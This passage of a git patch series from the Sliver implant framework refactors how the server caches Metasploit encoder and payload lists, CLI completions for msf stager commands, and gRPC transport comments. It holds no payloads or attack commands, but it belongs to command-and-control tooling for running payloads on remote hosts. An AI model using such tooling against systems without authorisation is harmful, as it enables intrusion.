+ + encodersFile := filepath.Join(assets.GetRootAppDir(), "msf-encoders.cache") + if encoders, err := os.ReadFile(encodersFile); err == nil { + raw := strings.Split(string(encoders), "-----------") + all := strings.Split(raw[len(raw)-1], "\n") + + for _, info := range all { + encoder := &clientpb.MetasploitModule{} + + // First split the name from everything else following. + items := filterEmpty(strings.Split(strings.TrimSpace(info), " ")) + if len(items) == 0 { + continue + } + + if len(items) > 0 { + fullname := strings.TrimSpace(items[0]) + encoder.FullName = fullname + encoder.Name = filepath.Base(fullname) + } + + // Then try to find a level, and a description. + if len(items) > 1 { + encoder.Quality = strings.TrimSpace(items[1]) + encoder.Description = strings.Join(items[2:], " ") + } + + msf.Encoders = append(msf.Encoders, encoder) + } + } + + return msf +} + +func filterEmpty(list []string) []string { + var full []string + for _, item := range list { + trim := strings.TrimSpace(item) + if trim != "" { + full = append(full, trim) + } + } + + return full +} diff --git a/server/rpc/rpc-generate.go b/server/rpc/rpc-generate.go index 94e17faa53..ce8677423c 100644 --- a/server/rpc/rpc-generate.go +++ b/server/rpc/rpc-generate.go @@ -47,9 +47,7 @@ import ( "google.golang.org/protobuf/proto" ) -var ( - rcpGenLog = log.NamedLogger("rpc", "generate") -) +var rcpGenLog = log.NamedLogger("rpc", "generate") // Generate - Generate a new implant func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*clientpb.Generate, error) { @@ -111,7 +109,6 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl // Regenerate - Regenerate a previously generated implant func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq) (*clientpb.Generate, error) { - build, err := db.ImplantBuildByName(req.ImplantName) if err != nil { rpcLog.Errorf("Failed to find implant %s: %s", req.ImplantName, err) @@ -167,7 +164,6 @@ func (rpc *Server) Canaries(ctx context.Context, _ *commonpb.Empty) (*clientpb.C // GenerateUniqueIP - Wrapper around generate.GenerateUniqueIP func (rpc *Server) GenerateUniqueIP(ctx context.Context, _ *commonpb.Empty) (*clientpb.UniqueWGIP, error) { uniqueIP, err := generate.GenerateUniqueIP() - if err != nil { rpcLog.Infof("Failed to generate unique wg peer ip: %s\n", err) return nil, err @@ -430,7 +426,6 @@ func (rpc *Server) Builders(ctx context.Context, _ *commonpb.Empty) (*clientpb.B // BuilderTrigger - Trigger a builder event func (rpc *Server) BuilderTrigger(ctx context.Context, req *clientpb.Event) (*commonpb.Empty, error) { - switch req.EventType { // Only allow certain event types to be triggered diff --git a/server/rpc/rpc-msf.go b/server/rpc/rpc-msf.go index 368c726ab8..c86037f3a2 100644 --- a/server/rpc/rpc-msf.go +++ b/server/rpc/rpc-msf.go @@ -37,9 +37,7 @@ import ( "github.com/bishopfox/sliver/server/msf" ) -var ( - msfLog = log.NamedLogger("rpc", "msf") -) +var msfLog = log.NamedLogger("rpc", "msf") // Msf - Helper function to execute MSF payloads on the remote system func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Task, error) { @@ -207,6 +205,11 @@ func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*c return MSFStage, nil } +// GetMetasploitCompiler - Get information about any Metasploit installation server-side. +func (rpc *Server) GetMetasploitCompiler(ctx context.Context, _ *commonpb.Empty) (*clientpb.MetasploitCompiler, error) { + return msf.GetMsfCache(), nil +} + // Utility functions func generateCallbackURI() string { currentHTTPC2Config := configs.GetHTTPC2Config() From 41fbd483e591fed5efad4d343bbdbb1bda636de7 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 28 Jul 2023 03:41:40 +0200 Subject: [PATCH 048/124] And deactivate it since we can't really choose payloads --- client/command/exec/commands.go | 4 +++- client/command/generate/commands.go | 4 ++-- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/client/command/exec/commands.go b/client/command/exec/commands.go index b1b4e88658..4807e57d59 100644 --- a/client/command/exec/commands.go +++ b/client/command/exec/commands.go @@ -196,7 +196,6 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) flags.BindFlagCompletions(msfCmd, func(comp *carapace.ActionMap) { - (*comp)["payload"] = generate.MsfPayloadCompleter(con) (*comp)["encoder"] = generate.MsfEncoderCompleter(con) }) @@ -219,6 +218,9 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) + flags.BindFlagCompletions(msfInjectCmd, func(comp *carapace.ActionMap) { + (*comp)["encoder"] = generate.MsfEncoderCompleter(con) + }) psExecCmd := &cobra.Command{ Use: consts.PsExecStr, diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go index 20ddba6eac..1a51db6330 100644 --- a/client/command/generate/commands.go +++ b/client/command/generate/commands.go @@ -69,9 +69,9 @@ func Commands(con *console.SliverClient) []*cobra.Command { }) flags.BindFlagCompletions(generateStagerCmd, func(comp *carapace.ActionMap) { (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - (*comp)["arch"] = MsfArchCompleter(con) + (*comp)["arch"] = carapace.ActionValues("amd64", "x86") (*comp)["format"] = MsfFormatCompleter(con) - (*comp)["payload"] = MsfPayloadCompleter(con) + (*comp)["protocol"] = carapace.ActionValues("http", "https", "tcp").Tag("msf stager protocols") }) generateCmd.AddCommand(generateStagerCmd) From a279ee1521d89ea4fc3467c7965a667fc9513411 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 28 Jul 2023 04:02:45 +0200 Subject: [PATCH 049/124] Clean --- client/command/generate/commands.go | 5 +- client/command/sliver.go | 7 +- server/msf/msf.go | 138 ++++++++++++++++------------ 3 files changed, 82 insertions(+), 68 deletions(-) diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go index 1a51db6330..7781df4f8b 100644 --- a/client/command/generate/commands.go +++ b/client/command/generate/commands.go @@ -68,8 +68,9 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("advanced", "d", "", "Advanced options for the stager using URI query syntax (option1=value1&option2=value2...)") }) flags.BindFlagCompletions(generateStagerCmd, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - (*comp)["arch"] = carapace.ActionValues("amd64", "x86") + (*comp)["save"] = carapace.ActionDirectories() + (*comp)["os"] = carapace.ActionValues("windows", "linux", "darwin").Tag("msf stager OS") + (*comp)["arch"] = carapace.ActionValues("amd64", "x86").Tag("msf stager archs") (*comp)["format"] = MsfFormatCompleter(con) (*comp)["protocol"] = carapace.ActionValues("http", "https", "tcp").Tag("msf stager protocols") }) diff --git a/client/command/sliver.go b/client/command/sliver.go index 4370ee3480..c9dc292d2f 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -74,13 +74,12 @@ func SliverCommands(con *client.SliverClient) console.Commands { // [ Core ] bind(consts.SliverCoreHelpGroup, reconfig.Commands, - // sessions.Commands, sessions.SliverCommands, kill.Commands, - // use.Commands, tasks.Commands, pivots.Commands, history.Commands, + extensions.Commands, ) // [ Info ] @@ -131,9 +130,7 @@ func SliverCommands(con *client.SliverClient) console.Commands { bind(consts.AliasHelpGroup) // [ Extensions ] - bind(consts.ExtensionHelpGroup, - extensions.Commands, - ) + bind(consts.ExtensionHelpGroup) // [ Post-command declaration setup ]---------------------------------------- diff --git a/server/msf/msf.go b/server/msf/msf.go index a6d6e8bd50..360ff99c01 100644 --- a/server/msf/msf.go +++ b/server/msf/msf.go @@ -38,6 +38,7 @@ const ( consoleBin = "msfconsole" venomBin = "msfvenom" sep = "/" + msfDir = "msf" ) var ( @@ -105,6 +106,13 @@ var ( "vbapplication": true, "vbscript": true, } + + msfModuleTypes = []string{ + "encoders", + "payloads", + "formats", + "archs", + } ) var msfCache = sync.Map{} @@ -135,11 +143,9 @@ func CacheModules() { all := sync.WaitGroup{} - targets := []string{"formats", "archs", "payloads", "encoders"} - - for i := range targets { + for i := range msfModuleTypes { all.Add(1) - target := targets[i] + target := msfModuleTypes[i] go func() { defer all.Done() @@ -150,7 +156,9 @@ func CacheModules() { return } - fileName := filepath.Join(assets.GetRootAppDir(), "msf-"+target+".cache") + msfDir := filepath.Join(assets.GetRootAppDir(), msfDir) + + fileName := filepath.Join(msfDir, "msf-"+target+".cache") if err := os.WriteFile(fileName, result, 0o600); err != nil { msfLog.Error(err) } @@ -354,76 +362,84 @@ func parseCache() *clientpb.MetasploitCompiler { msf.Version = ver - fileName := filepath.Join(assets.GetRootAppDir(), "msf-formats.cache") - if formats, err := os.ReadFile(fileName); err == nil { - raw := strings.Split(string(formats), "----") - all := strings.Split(raw[len(raw)-1], "\n") - - for _, fmt := range all { - msf.Formats = append(msf.Formats, strings.TrimSpace(fmt)) - } - } - - archsFile := filepath.Join(assets.GetRootAppDir(), "msf-archs.cache") - if archs, err := os.ReadFile(archsFile); err == nil { - raw := strings.Split(string(archs), "----") - all := strings.Split(raw[len(raw)-1], "\n") + msfDir := filepath.Join(assets.GetRootAppDir(), msfDir) - for _, arch := range all { - msf.Archs = append(msf.Archs, strings.TrimSpace(arch)) - } - } + for _, file := range msfModuleTypes { + fileName := filepath.Join(msfDir, fmt.Sprintf("msf-%s.cache", file)) - payloadsFile := filepath.Join(assets.GetRootAppDir(), "msf-payloads.cache") - if payloads, err := os.ReadFile(payloadsFile); err == nil { - raw := strings.Split(string(payloads), "-----------") - all := strings.Split(raw[len(raw)-1], "\n") + switch file { + case "formats": + if formats, err := os.ReadFile(fileName); err == nil { + raw := strings.Split(string(formats), "----") + all := strings.Split(raw[len(raw)-1], "\n") - for _, info := range all { - payload := &clientpb.MetasploitModule{} + for _, fmt := range all { + msf.Formats = append(msf.Formats, strings.TrimSpace(fmt)) + } + } - items := filterEmpty(strings.Split(strings.TrimSpace(info), " ")) + case "archs": + if archs, err := os.ReadFile(fileName); err == nil { + raw := strings.Split(string(archs), "----") + all := strings.Split(raw[len(raw)-1], "\n") - if len(items) > 0 { - fullname := strings.TrimSpace(items[0]) - payload.FullName = fullname - payload.Name = filepath.Base(fullname) - } - if len(items) > 1 { - payload.Description = strings.Join(items[1:], " ") + for _, arch := range all { + msf.Archs = append(msf.Archs, strings.TrimSpace(arch)) + } } - msf.Payloads = append(msf.Payloads, payload) - } - } + case "payloads": + if payloads, err := os.ReadFile(fileName); err == nil { + raw := strings.Split(string(payloads), "-----------") + all := strings.Split(raw[len(raw)-1], "\n") - encodersFile := filepath.Join(assets.GetRootAppDir(), "msf-encoders.cache") - if encoders, err := os.ReadFile(encodersFile); err == nil { - raw := strings.Split(string(encoders), "-----------") - all := strings.Split(raw[len(raw)-1], "\n") + for _, info := range all { + payload := &clientpb.MetasploitModule{} - for _, info := range all { - encoder := &clientpb.MetasploitModule{} + items := filterEmpty(strings.Split(strings.TrimSpace(info), " ")) - // First split the name from everything else following. - items := filterEmpty(strings.Split(strings.TrimSpace(info), " ")) - if len(items) == 0 { - continue - } + if len(items) > 0 { + fullname := strings.TrimSpace(items[0]) + payload.FullName = fullname + payload.Name = filepath.Base(fullname) + } + if len(items) > 1 { + payload.Description = strings.Join(items[1:], " ") + } - if len(items) > 0 { - fullname := strings.TrimSpace(items[0]) - encoder.FullName = fullname - encoder.Name = filepath.Base(fullname) + msf.Payloads = append(msf.Payloads, payload) + } } - // Then try to find a level, and a description. - if len(items) > 1 { - encoder.Quality = strings.TrimSpace(items[1]) - encoder.Description = strings.Join(items[2:], " ") + case "encoders": + if encoders, err := os.ReadFile(fileName); err == nil { + raw := strings.Split(string(encoders), "-----------") + all := strings.Split(raw[len(raw)-1], "\n") + + for _, info := range all { + encoder := &clientpb.MetasploitModule{} + + // First split the name from everything else following. + items := filterEmpty(strings.Split(strings.TrimSpace(info), " ")) + if len(items) == 0 { + continue + } + + if len(items) > 0 { + fullname := strings.TrimSpace(items[0]) + encoder.FullName = fullname + encoder.Name = filepath.Base(fullname) + } + + // Then try to find a level, and a description. + if len(items) > 1 { + encoder.Quality = strings.TrimSpace(items[1]) + encoder.Description = strings.Join(items[2:], " ") + } + + msf.Encoders = append(msf.Encoders, encoder) + } } - - msf.Encoders = append(msf.Encoders, encoder) } } From c535491d3aabeaf2ea12ca687c7c630507a799e4 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 28 Jul 2023 04:50:22 +0200 Subject: [PATCH 050/124] Use comp cache duraction groups --- client/command/completers/completers.go | 11 +++++++++++ client/command/generate/helpers.go | 16 ++++++++-------- 2 files changed, 19 insertions(+), 8 deletions(-) diff --git a/client/command/completers/completers.go b/client/command/completers/completers.go index 762b14b62f..89cc9f8558 100644 --- a/client/command/completers/completers.go +++ b/client/command/completers/completers.go @@ -20,10 +20,21 @@ package completers import ( "net" + "time" "github.com/rsteube/carapace" ) +const ( + days = 24 * time.Hour + + CacheSessions = 1 * time.Minute // CacheSessions caches session/beacon IDs for a minute on-disk. + CacheEncodersInfo = 1 * time.Minute // CacheCompilerInfo caches encoders info for a minute on disk. + + CacheMsf = 7 * days // CacheMsf caches server Metasploit info for a week on disk + CacheCompilerInfo = 1 * time.Hour // CacheCompilerInfo caches server compiler info for an hour on disk. +) + // ClientInterfacesCompleter completes interface addresses on the client host. func ClientInterfacesCompleter() carapace.Action { return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { diff --git a/client/command/generate/helpers.go b/client/command/generate/helpers.go index 0104a33686..992bd5b051 100644 --- a/client/command/generate/helpers.go +++ b/client/command/generate/helpers.go @@ -4,8 +4,8 @@ import ( "context" "fmt" "strings" - "time" + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" @@ -96,7 +96,7 @@ func ArchCompleter(con *console.SliverClient) carapace.Action { } return carapace.ActionValues(results...).Tag("architectures") - }) + }).Cache(completers.CacheCompilerInfo) } // FormatCompleter completes build operating systems. @@ -134,7 +134,7 @@ func OSCompleter(con *console.SliverClient) carapace.Action { } return carapace.ActionValues(results...).Tag("operating systems") - }).Cache(10 * time.Second) + }).Cache(completers.CacheCompilerInfo) } // FormatCompleter completes build formats. @@ -172,7 +172,7 @@ func TrafficEncodersCompleter(con *console.SliverClient) carapace.Action { } return carapace.ActionValuesDescribed(results...).Tag("traffic encoders") - }) + }).Cache(completers.CacheCompilerInfo) } // MsfFormatCompleter completes MsfVenom stager formats. @@ -200,7 +200,7 @@ func MsfFormatCompleter(con *console.SliverClient) carapace.Action { } return carapace.ActionValues(results...).Tag("msfvenom formats") - }).Cache(1 * time.Minute) + }).Cache(completers.CacheMsf) } // MsfArchCompleter completes MsfVenom stager architectures. @@ -227,7 +227,7 @@ func MsfArchCompleter(con *console.SliverClient) carapace.Action { } return carapace.ActionValues(results...).Tag("msfvenom archs") - }).Cache(1 * time.Minute) + }).Cache(completers.CacheMsf) } // MsfFormatCompleter completes MsfVenom stager encoders. @@ -254,7 +254,7 @@ func MsfEncoderCompleter(con *console.SliverClient) carapace.Action { } return carapace.ActionValuesDescribed(results...).Tag("msfvenom encoders") - }).Cache(1 * time.Minute) + }).Cache(completers.CacheMsf) } // MsfPayloadCompleter completes Metasploit payloads. @@ -281,5 +281,5 @@ func MsfPayloadCompleter(con *console.SliverClient) carapace.Action { } return carapace.ActionValuesDescribed(results...) - }).Cache(1*time.Minute, cache.String("payloads")).MultiParts("/").StyleF(style.ForPath) + }).Cache(completers.CacheMsf, cache.String("payloads")).MultiParts("/").StyleF(style.ForPath) } From 63a9edf04b95b7d645fbf193f4ce5d2752486234 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 28 Jul 2023 05:10:34 +0200 Subject: [PATCH 051/124] Cleanup completion pre-run setup --- client/cli/cli.go | 17 ++++++++++++----- client/console/console.go | 14 +++++++------- client/console/log.go | 9 ++++++++- server/cli/cli.go | 17 ++++++++++++----- 4 files changed, 39 insertions(+), 18 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index f2e109ccb5..dbebfdf141 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -117,11 +117,8 @@ func preRunClient(con *client.SliverClient) func(_ *cobra.Command, _ []string) e return func(cmd *cobra.Command, _ []string) error { // Don't stream console asciicast/logs when using the completion subcommand. // We don't use cmd.Root().Find() for this, as it would always trigger the condition true. - for _, compCmd := range cmd.Root().Commands() { - if compCmd != nil && compCmd.Name() == "_carapace" && compCmd.CalledAs() != "" { - con.IsCompleting = true - break - } + if compCommandCalled(cmd) { + con.CompleteDisableLog() } return con.Teamclient.Connect() @@ -134,3 +131,13 @@ func postRunClient(con *client.SliverClient) func(_ *cobra.Command, _ []string) return con.Disconnect() } } + +func compCommandCalled(cmd *cobra.Command) bool { + for _, compCmd := range cmd.Root().Commands() { + if compCmd != nil && compCmd.Name() == "_carapace" && compCmd.CalledAs() != "" { + return true + } + } + + return false +} diff --git a/client/console/console.go b/client/console/console.go index 96a527a523..d669e1892d 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -91,12 +91,12 @@ type ( type SliverClient struct { // Core client - Teamclient *client.Client - App *console.Console - Settings *assets.ClientSettings - IsServer bool - IsCLI bool - IsCompleting bool + Teamclient *client.Client + App *console.Console + Settings *assets.ClientSettings + IsServer bool + IsCLI bool + completing bool // Logging jsonHandler slog.Handler @@ -241,7 +241,7 @@ func (con *SliverClient) StartConsole() error { // This function is safe to call regardless of the client being used // as a closed-loop console mode or in an exec-once CLI mode. func (con *SliverClient) ConnectCompletion() (carapace.Action, error) { - con.IsCompleting = true + con.completing = true err := con.Teamclient.Connect() if err != nil { diff --git a/client/console/log.go b/client/console/log.go index 5a459a16b2..a6fe68eb2a 100644 --- a/client/console/log.go +++ b/client/console/log.go @@ -51,6 +51,13 @@ func (l *ConsoleClientLogger) Write(buf []byte) (int, error) { return len(buf), err } +// CompleteDisableLog forbids the server from streaming its asciicast +// and some logs output to the server, as asciicast and completions both +// tinker with very low-level IO and very often don't work nice together. +func (con *SliverClient) CompleteDisableLog() { + con.completing = true +} + // ClientLogStream requires a log stream name, used to save the logs // going through this stream in a specific log subdirectory/file. func (con *SliverClient) ClientLogStream(name string) (*ConsoleClientLogger, error) { @@ -62,7 +69,7 @@ func (con *SliverClient) ClientLogStream(name string) (*ConsoleClientLogger, err } func (con *SliverClient) startClientLog() error { - if con.IsCompleting { + if con.completing { return nil } diff --git a/server/cli/cli.go b/server/cli/cli.go index bea28110b7..4f5a378dfc 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -204,11 +204,8 @@ func preRunServer(teamserver *server.Server, con *client.SliverClient) func(_ *c // Don't stream console asciicast/logs when using the completion subcommand. // We don't use cmd.Root().Find() for this, as it would always trigger the condition true. - for _, compCmd := range cmd.Root().Commands() { - if compCmd != nil && compCmd.Name() == "_carapace" && compCmd.CalledAs() != "" { - con.IsCompleting = true - break - } + if compCommandCalled(cmd) { + con.CompleteDisableLog() } // Let our in-memory teamclient be served. @@ -216,6 +213,16 @@ func preRunServer(teamserver *server.Server, con *client.SliverClient) func(_ *c } } +func compCommandCalled(cmd *cobra.Command) bool { + for _, compCmd := range cmd.Root().Commands() { + if compCmd != nil && compCmd.Name() == "_carapace" && compCmd.CalledAs() != "" { + return true + } + } + + return false +} + // preRun := func(cmd *cobra.Command, _ []string) error { // // Ensure the server has what it needs // assets.Setup(false, true) From e795203ff99aa2a35b20fd1aceab5ce063ab2db7 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 28 Jul 2023 20:53:37 +0200 Subject: [PATCH 052/124] Cleanup/rewrite comments for modified transport stack --- client/transport/client.go | 35 ++++++++++--------------- client/transport/middleware.go | 8 +++--- server/core/clients.go | 5 +++- server/transport/middleware.go | 16 ++++++------ server/transport/rpc.go | 9 +++---- server/transport/server.go | 47 +++++++++++++++++----------------- server/transport/tailscale.go | 27 +++++++++---------- 7 files changed, 71 insertions(+), 76 deletions(-) diff --git a/client/transport/client.go b/client/transport/client.go index 0440409d51..e12b9233f6 100644 --- a/client/transport/client.go +++ b/client/transport/client.go @@ -1,8 +1,8 @@ package transport /* - team - Embedded teamserver for Go programs and CLI applications - Copyright (C) 2023 Reeflective + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -45,27 +45,19 @@ const ( var ( // ErrNoRPC indicates that no gRPC generated proto.Teamclient bound to a client // connection is available. The error is raised when the handler hasn't connected. - ErrNoRPC = errors.New("no working grpc.Teamclient available") + ErrNoRPC = errors.New("no working core Teamclient available") // ErrNoTLSCredentials is an error raised if the teamclient was asked to setup, or try // connecting with, TLS credentials. If such an error is raised, make sure your team // client has correctly fetched -using client.Config()- a remote teamserver config. - ErrNoTLSCredentials = errors.New("the grpc Teamclient has no TLS credentials to use") + ErrNoTLSCredentials = errors.New("the Teamclient has no TLS credentials to use") ) -// Teamclient is a simple example gRPC teamclient and dialer backend. -// It comes correctly configured with Mutual TLS authentication and -// RPC connection/registration/use when created with NewTeamClient(). +// Teamclient is a vanilla gRPC client set up and configured +// to interact with remotes/in-memory Sliver teamservers. // // This teamclient embeds a team/client.Client core driver and uses // it for fetching/setting up the transport credentials, dialers, etc... -// It also has a few internal types (clientConns, options) for working. -// -// Note that this teamclient is not able to be used as an in-memory dialer. -// See the counterpart `team/transports/grpc/server` package for creating one. -// Also note that this example transport has been made for a single use-case, -// and that your program might require more elaborated behavior. -// In this case, please use this simple code as a reference for what/not to do. type Teamclient struct { *client.Client conn *grpc.ClientConn @@ -89,16 +81,16 @@ func NewTeamClient(opts ...grpc.DialOption) *Teamclient { } // Init implements team/client.Dialer.Init(c). -// This implementation asks the teamclient core for its remote server -// configuration, and uses it to load a set of Mutual TLS dialing options. +// It uses teamclient core driver for a remote server configuration, +// and uses it to load a set of Mutual TLS dialing options. func (h *Teamclient) Init(cli *client.Client) error { h.Client = cli config := cli.Config() - options := LogMiddlewareOptions(cli) + options := logMiddlewareOptions(cli) - // If the configuration has no credentials, we are most probably - // an in-memory dialer, don't authenticate and encrypt the conn. + // If the configuration has no credentials, we are an + // in-memory dialer, don't authenticate/encrypt the conn. if config.PrivateKey != "" { tlsOpts, err := tlsAuthMiddleware(cli) if err != nil { @@ -133,7 +125,8 @@ func (h *Teamclient) Dial() (rpcClient any, err error) { return h.conn, nil } -// Close implements team/client.Dialer.Close(), and closes the gRPC client connection. +// Close implements team/client.Dialer.Close(). +// It closes the gRPC client connection if any. func (h *Teamclient) Close() error { if h.conn == nil { return nil @@ -168,8 +161,6 @@ func (h *Teamclient) Users() (users []team.User, err error) { // ServerVersion returns the version information of the server to which // the client is connected, or nil and an error if it could not retrieve it. -// If the gRPC teamclient is not connected or does not have an RPC client, -// an ErrNoRPC is returned. func (h *Teamclient) Version() (version team.Version, err error) { if h.rpc == nil { return version, ErrNoRPC diff --git a/client/transport/middleware.go b/client/transport/middleware.go index 3cfbcc9883..480fe71150 100644 --- a/client/transport/middleware.go +++ b/client/transport/middleware.go @@ -1,8 +1,8 @@ package transport /* - team - Embedded teamserver for Go programs and CLI applications - Copyright (C) 2023 Reeflective + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -33,10 +33,10 @@ import ( // specifically the "Authorization": "Bearer" key:value pair. type TokenAuth string -// LogMiddlewareOptions is an example list of gRPC options with logging middleware set up. +// logMiddlewareOptions is an example list of gRPC options with logging middleware set up. // This function uses the core teamclient loggers to log the gRPC stack/requests events. // The Teamclient of this package uses them by default. -func LogMiddlewareOptions(cli *client.Client) []grpc.DialOption { +func logMiddlewareOptions(cli *client.Client) []grpc.DialOption { logrusEntry := cli.NamedLogger("transport", "grpc") logrusOpts := []grpc_logrus.Option{ grpc_logrus.WithLevels(common.CodeToLevel), diff --git a/server/core/clients.go b/server/core/clients.go index aa2d49d091..96c90755e8 100644 --- a/server/core/clients.go +++ b/server/core/clients.go @@ -23,6 +23,7 @@ import ( consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" + "golang.org/x/exp/slices" ) var ( @@ -72,7 +73,9 @@ func (cc *clients) ActiveOperators() []string { defer cc.mutex.Unlock() operators := []string{} for _, client := range cc.active { - operators = append(operators, client.Operator.Name) + if !slices.Contains(operators, client.Operator.Name) { + operators = append(operators, client.Operator.Name) + } } return operators } diff --git a/server/transport/middleware.go b/server/transport/middleware.go index 97035684c2..6a2d106d84 100644 --- a/server/transport/middleware.go +++ b/server/transport/middleware.go @@ -1,8 +1,8 @@ package transport /* - team - Embedded teamserver for Go programs and CLI applications - Copyright (C) 2023 Reeflective + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -35,9 +35,9 @@ import ( "github.com/reeflective/team/transports/grpc/common" ) -// BufferingOptions returns a list of server options with max send/receive +// bufferingOptions returns a list of server options with max send/receive // message size, which value is that of the ServerMaxMessageSize variable (2GB). -func BufferingOptions() (options []grpc.ServerOption) { +func bufferingOptions() (options []grpc.ServerOption) { options = append(options, grpc.MaxRecvMsgSize(ServerMaxMessageSize), grpc.MaxSendMsgSize(ServerMaxMessageSize), @@ -46,11 +46,11 @@ func BufferingOptions() (options []grpc.ServerOption) { return } -// LogMiddlewareOptions is a set of logging middleware options +// logMiddlewareOptions is a set of logging middleware options // preconfigured to perform the following tasks: // - Log all connections/disconnections to/from the teamserver listener. // - Log all raw client requests into a teamserver audit file (see server.AuditLog()). -func LogMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { +func logMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { var requestOpts []grpc.UnaryServerInterceptor var streamOpts []grpc.StreamServerInterceptor @@ -101,11 +101,11 @@ func LogMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { }, nil } -// TLSAuthMiddlewareOptions is a set of transport security options which will use +// tlsAuthMiddlewareOptions is a set of transport security options which will use // the preconfigured teamserver TLS (credentials) configuration to authenticate // incoming client connections. The authentication is Mutual TLS, used because // all teamclients will connect with a known TLS credentials set. -func TLSAuthMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { +func tlsAuthMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { var options []grpc.ServerOption tlsConfig, err := s.UsersTLSConfig() diff --git a/server/transport/rpc.go b/server/transport/rpc.go index c04fe457fd..1178595aef 100644 --- a/server/transport/rpc.go +++ b/server/transport/rpc.go @@ -1,8 +1,8 @@ package transport /* - team - Embedded teamserver for Go programs and CLI applications - Copyright (C) 2023 Reeflective + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -63,9 +63,8 @@ func (ts *rpcServer) GetUsers(context.Context, *proto.Empty) (*proto.Users, erro userspb := make([]*proto.User, len(users)) for i, user := range users { userspb[i] = &proto.User{ - Name: user.Name, - Online: isOperatorOnline(user.Name), - // Online: user.Online, + Name: user.Name, + Online: isOperatorOnline(user.Name), LastSeen: user.LastSeen.Unix(), Clients: int32(user.Clients), } diff --git a/server/transport/server.go b/server/transport/server.go index fed5174b63..0622515b51 100644 --- a/server/transport/server.go +++ b/server/transport/server.go @@ -45,11 +45,8 @@ const ( ServerMaxMessageSize = 2*gb - 1 ) -// Teamserver is a simple example gRPC teamserver listener and server backend. -// This server can handle both remote and local (in-memory) connections, provided -// that it is being created with the correct grpc.Server options. -// -// This teamserver embeds a team/server.Server core driver and uses it for fetching +// Teamserver is a vanilla TCP+MTLS gRPC server offering all Sliver services through it. +// This listener backend embeds a team/server.Server core driver and uses it for fetching // server-side TLS configurations, use its loggers and access its database/users/list. type Teamserver struct { *teamserver.Server @@ -59,11 +56,13 @@ type Teamserver struct { mutex *sync.RWMutex } -// NewListener is a simple constructor returning a teamserver loaded with the -// provided list of server options. By default the server does not come with any. +// NewListener returns a vanilla tcp+mtls gRPC teamserver listener backend. +// Developers: note that the teamserver type is already set with logging/ +// auth/middleware/buffering gRPC options. You can still override them. func NewListener(opts ...grpc.ServerOption) *Teamserver { listener := &Teamserver{ - mutex: &sync.RWMutex{}, + mutex: &sync.RWMutex{}, + options: bufferingOptions(), } listener.options = append(listener.options, opts...) @@ -94,7 +93,7 @@ func NewClientFrom(server *Teamserver, opts ...grpc.DialOption) *clientTransport } // Name immplements team/server.Handler.Name(). -// It indicates the transport/rpc stack, in this case "gRPC". +// It indicates the transport/rpc stack. func (h *Teamserver) Name() string { return "gRPC/mTLS" } @@ -105,26 +104,27 @@ func (h *Teamserver) Name() string { func (h *Teamserver) Init(serv *teamserver.Server) (err error) { h.Server = serv - h.options, err = LogMiddlewareOptions(h.Server) + // Logging + logOptions, err := logMiddlewareOptions(h.Server) if err != nil { return err } - // Logging/authentication/audit - serverOptions, err := h.initAuthMiddleware() + h.options = append(h.options, logOptions...) + + // Authentication/audit + authOptions, err := h.initAuthMiddleware() if err != nil { return err } - h.options = append(h.options, serverOptions...) + h.options = append(h.options, authOptions...) return nil } // Listen implements team/server.Handler.Listen(). -// It starts listening on a network address for incoming gRPC clients. -// If the teamserver has previously been given an in-memory connection, -// it returns it as the listener without errors. +// this teamserver uses a tcp+TLS (mutual) listener to serve remote clients. func (h *Teamserver) Listen(addr string) (ln net.Listener, err error) { // In-memory connection are not authenticated. if h.conn == nil { @@ -134,7 +134,7 @@ func (h *Teamserver) Listen(addr string) (ln net.Listener, err error) { } // Encryption. - tlsOptions, err := TLSAuthMiddlewareOptions(h.Server) + tlsOptions, err := tlsAuthMiddlewareOptions(h.Server) if err != nil { return nil, err } @@ -153,16 +153,17 @@ func (h *Teamserver) Listen(addr string) (ln net.Listener, err 